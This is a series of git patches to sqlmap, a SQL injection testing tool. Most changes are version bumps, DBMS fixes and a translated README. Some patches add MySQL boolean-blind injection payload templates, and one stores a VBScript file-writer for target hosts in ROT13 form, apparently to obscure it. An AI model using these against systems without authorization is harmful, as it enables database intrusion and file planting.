Subject: [PATCH 014/853] Fixes #5576 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 82447cff3a3..7bffbb654c5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.11.3" +VERSION = "1.7.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index f1bc0d99d60..685c4539942 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -116,6 +116,10 @@ def fetchall(self): def execute(self, query): retVal = False + # Reference: https://stackoverflow.com/a/69491015 + if hasattr(_sqlalchemy, "text"): + query = _sqlalchemy.text(query) + try: self.cursor = self.connector.execute(query) retVal = True From de6107cab5e0388de104f0786fd6bae335643011 Mon Sep 17 00:00:00 2001 From: nowhereman Date: Sun, 3 Dec 2023 13:20:32 +0100 Subject: [PATCH 015/853] H2 queries to get data use wrong order for LIMIT and OFFSET (#5580) --- data/xml/queries.xml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 62e9dc63f6b..7bb8c1af4d1 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -747,8 +747,8 @@ - - + + @@ -770,7 +770,7 @@ - + @@ -778,11 +778,11 @@ - + - + From 4acc0178b5699067f748d14c705cfc1e2348922d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 3 Dec 2023 13:25:43 +0100 Subject: [PATCH 016/853] Fix related to #5580 --- lib/core/agent.py | 4 ++++ lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d9949ea4f4d..0049934f1e6 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1035,6 +1035,10 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.H2,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/settings.py b/lib/core/settings.py index 7bffbb654c5..1dae0848649 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.0" +VERSION = "1.7.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bde763763351e1065f3cf2e58c54d7a99d66bbee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 3 Dec 2023 13:35:18 +0100 Subject: [PATCH 017/853] Minor patch --- data/xml/queries.xml | 12 ++++++------ lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 7bb8c1af4d1..8ff85b0d302 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -679,8 +679,8 @@ - - + + @@ -875,8 +875,8 @@ - - + + @@ -940,8 +940,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 1dae0848649..bc795e7df66 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.1" +VERSION = "1.7.12.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c096f870e788c1296e5605410b127f7534df0d1a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 3 Dec 2023 13:49:45 +0100 Subject: [PATCH 018/853] Cleaning some mess with limitQuery --- data/xml/queries.xml | 4 ++-- lib/core/agent.py | 8 ++------ lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 9 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8ff85b0d302..28b5582fad2 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -749,8 +749,8 @@ - - + + diff --git a/lib/core/agent.py b/lib/core/agent.py index 0049934f1e6..1eef47ecbea 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1031,11 +1031,11 @@ def limitQuery(self, num, query, field=None, uniqueField=None): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.H2,): + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) limitedQuery += " %s" % limitStr @@ -1043,10 +1043,6 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) - limitedQuery += " %s" % limitStr - elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) if query.startswith("SELECT "): diff --git a/lib/core/settings.py b/lib/core/settings.py index bc795e7df66..78178fdad24 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.2" +VERSION = "1.7.12.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f24bf55d8fedf4d8a91e73e7597bf3885ec026e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 8 Dec 2023 01:29:09 +0100 Subject: [PATCH 019/853] Update related to #5571 --- lib/core/enums.py | 1 + lib/core/settings.py | 4 ++-- plugins/dbms/postgresql/fingerprint.py | 2 ++ 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index f589e9de4f6..91ee35a0ec4 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -106,6 +106,7 @@ class FORK(object): YELLOWBRICK = "Yellowbrick" IRIS = "Iris" YUGABYTEDB = "YugabyteDB" + OPENGAUSS = "OpenGauss" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 78178fdad24..cad60307ddd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.3" +VERSION = "1.7.12.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -294,7 +294,7 @@ # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 979d9ff5bc2..6f8aa2cda2a 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -41,6 +41,8 @@ def getFingerprint(self): fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression("VERSION() LIKE '%YB-%'"): # Reference: https://github.com/yugabyte/yugabyte-db/issues/2447#issue-499562926 fork = FORK.YUGABYTEDB + elif inject.checkBooleanExpression("VERSION() LIKE '%openGauss%'"): + fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: From 6dd383fd7284ad18742a9df9b40895c9b1fd4df9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Dec 2023 14:54:44 +0100 Subject: [PATCH 020/853] Minor update for #5229 --- doc/THANKS.md | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a915..3d5e9ec7e75 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -109,6 +109,9 @@ Alessandro Curio, Alessio Dalla Piazza, * for reporting a couple of bugs +Alexis Danizan, +* for contributing support for ClickHouse + Sherif El-Deeb, * for reporting a minor bug diff --git a/lib/core/settings.py b/lib/core/settings.py index cad60307ddd..3338330e646 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.4" +VERSION = "1.7.12.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 53b8a9583e2ad3ab5406123f72efa3aec5f738a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Dec 2023 14:12:17 +0100 Subject: [PATCH 021/853] Fixes #5581 --- lib/core/convert.py | 17 ++++ lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 111 +++++++++++++------------ 3 files changed, 75 insertions(+), 55 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 6478f98f219..fe3f0d2cbab 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -135,6 +135,23 @@ def dejsonize(data): return json.loads(data) +def rot13(data): + """ + Returns ROT13 encoded/decoded text + + >>> rot13('foobar was here!!') + 'sbbone jnf urer!!' + >>> rot13('sbbone jnf urer!!') + 'foobar was here!!' + """ + + # Reference: https://stackoverflow.com/a/62662878 + retVal = "" + alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ" + for char in data: + retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char + return retVal + def decodeHex(value, binary=True): """ Returns a decoded representation of provided hexadecimal value diff --git a/lib/core/settings.py b/lib/core/settings.py index 3338330e646..c9c4ef4f4f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.5" +VERSION = "1.7.12.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 1a8e87f417f..0b8aa4fba61 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -18,6 +18,7 @@ from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex +from lib.core.convert import rot13 from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -278,60 +279,62 @@ def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\\%s" % (tmpPath, randFile) - vbs = """Dim inputFilePath, outputFilePath - inputFilePath = "%s" - outputFilePath = "%s" - Set fs = CreateObject("Scripting.FileSystemObject") - Set file = fs.GetFile(inputFilePath) - If file.Size Then - Wscript.Echo "Loading from: " & inputFilePath - Wscript.Echo - Set fd = fs.OpenTextFile(inputFilePath, 1) - data = fd.ReadAll - fd.Close - data = Replace(data, " ", "") - data = Replace(data, vbCr, "") - data = Replace(data, vbLf, "") - Wscript.Echo "Fixed Input: " - Wscript.Echo data - Wscript.Echo - decodedData = base64_decode(data) - Wscript.Echo "Output: " - Wscript.Echo decodedData - Wscript.Echo - Wscript.Echo "Writing output in: " & outputFilePath - Wscript.Echo - Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) - ofs.Write decodedData - ofs.close - Else - Wscript.Echo "The file is empty." - End If - Function base64_decode(byVal strIn) - Dim w1, w2, w3, w4, n, strOut - For n = 1 To Len(strIn) Step 4 - w1 = mimedecode(Mid(strIn, n, 1)) - w2 = mimedecode(Mid(strIn, n + 1, 1)) - w3 = mimedecode(Mid(strIn, n + 2, 1)) - w4 = mimedecode(Mid(strIn, n + 3, 1)) - If Not w2 Then _ - strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) - If Not w3 Then _ - strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) - If Not w4 Then _ - strOut = strOut + Chr(((w3 * 64 + w4) And 255)) - Next - base64_decode = strOut - End Function - Function mimedecode(byVal strIn) - Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - If Len(strIn) = 0 Then - mimedecode = -1 : Exit Function - Else - mimedecode = InStr(Base64Chars, strIn) - 1 - End If - End Function""" % (randFilePath, remoteFile) - + vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu + vachgSvyrCngu = "%f" + bhgchgSvyrCngu = "%f" + Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") + Frg svyr = sf.TrgSvyr(vachgSvyrCngu) + Vs svyr.Fvmr Gura + Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu + Jfpevcg.Rpub + Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) + qngn = sq.ErnqNyy + sq.Pybfr + qngn = Ercynpr(qngn, " ", "") + qngn = Ercynpr(qngn, ioPe, "") + qngn = Ercynpr(qngn, ioYs, "") + Jfpevcg.Rpub "Svkrq Vachg: " + Jfpevcg.Rpub qngn + Jfpevcg.Rpub + qrpbqrqQngn = onfr64_qrpbqr(qngn) + Jfpevcg.Rpub "Bhgchg: " + Jfpevcg.Rpub qrpbqrqQngn + Jfpevcg.Rpub + Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu + Jfpevcg.Rpub + Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) + bsf.Jevgr qrpbqrqQngn + bsf.pybfr + Ryfr + Jfpevcg.Rpub "Gur svyr vf rzcgl." + Raq Vs + Shapgvba onfr64_qrpbqr(olIny fgeVa) + Qvz j1, j2, j3, j4, a, fgeBhg + Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 + j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) + j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) + j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) + j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) + Vs Abg j2 Gura _ + fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) + Vs Abg j3 Gura _ + fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) + Vs Abg j4 Gura _ + fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) + Arkg + onfr64_qrpbqr = fgeBhg + Raq Shapgvba + Shapgvba zvzrqrpbqr(olIny fgeVa) + Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" + Vs Yra(fgeVa) = 0 Gura + zvzrqrpbqr = -1 : Rkvg Shapgvba + Ryfr + zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 + Raq Vs + Raq Shapgvba""" + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 + vbs = rot13(vbs) vbs = vbs.replace(" ", "") encodedFileContent = encodeBase64(localFileContent, binary=False) From f176266e582fd93393453d9eeaa6c3ea7c61fb6a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 14 Dec 2023 12:53:49 +0100 Subject: [PATCH 022/853] Minor update --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c9c4ef4f4f9..15745459b0b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.6" +VERSION = "1.7.12.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 52bea11635e..67c639d94d8 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -736,7 +736,7 @@ def queryOutputLength(expression, payload): debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) - if length == " ": + if isinstance(length, six.string_types) and length.isspace(): length = 0 return length From a13c1f2db1fae567239a38202b16d1f448043898 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Dec 2023 17:13:37 +0100 Subject: [PATCH 023/853] Implements #5585 --- data/xml/payloads/boolean_blind.xml | 26 +++++++++++++------------- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index b6d7a2efe06..90526db4463 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -484,18 +484,18 @@ Tag: - MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 - 5 - 1 + 1 + 5 1,2,3,8 1 - AND ([INFERENCE])*[RANDNUM] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -503,18 +503,18 @@ Tag: - MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 - 5 - 3 - 1,2,3 + 3 + 5 + 1,2,3,8 2 - OR ([INFERENCE])*[RANDNUM] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL diff --git a/lib/core/settings.py b/lib/core/settings.py index 15745459b0b..8b5fca3a886 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.7" +VERSION = "1.7.12.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 51908e653cd25318781c1114ff5542e7879cd17d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Dec 2023 19:54:08 +0100 Subject: [PATCH 024/853] Minor patch related to the #5585 --- data/xml/payloads/boolean_blind.xml | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 90526db4463..ae8b6de95f2 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -486,8 +486,8 @@ Tag: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 - 1 - 5 + 5 + 1 1,2,3,8 1 AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) @@ -505,8 +505,8 @@ Tag: MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 - 3 - 5 + 5 + 3 1,2,3,8 2 OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b5fca3a886..2b20ccec0ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.12.8" +VERSION = "1.7.12.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 097f236a507248eba9ceb662a94b2afc691d8fde Mon Sep 17 00:00:00 2001 From: Anggiramadyansyah Date: Wed, 27 Dec 2023 16:28:20 +0700 Subject: [PATCH 025/853] Update: Indonesian documentation. (#5588) --- doc/translations/README-id-ID.md | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 02b7f378984..851ddd17522 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -2,21 +2,23 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. +sqlmap adalah alat bantu proyek sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. + +sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Alat ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. +Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). -Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev @@ -25,26 +27,27 @@ sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi Penggunaan ---- -Untuk mendapatkan daftar opsi dasar gunakan: +Untuk mendapatkan daftar opsi dasar gunakan perintah: python sqlmap.py -h -Untuk mendapatkan daftar opsi lanjut gunakan: +Untuk mendapatkan daftar opsi lanjutan gunakan perintah: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). -Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: https://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki -* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Video Demo 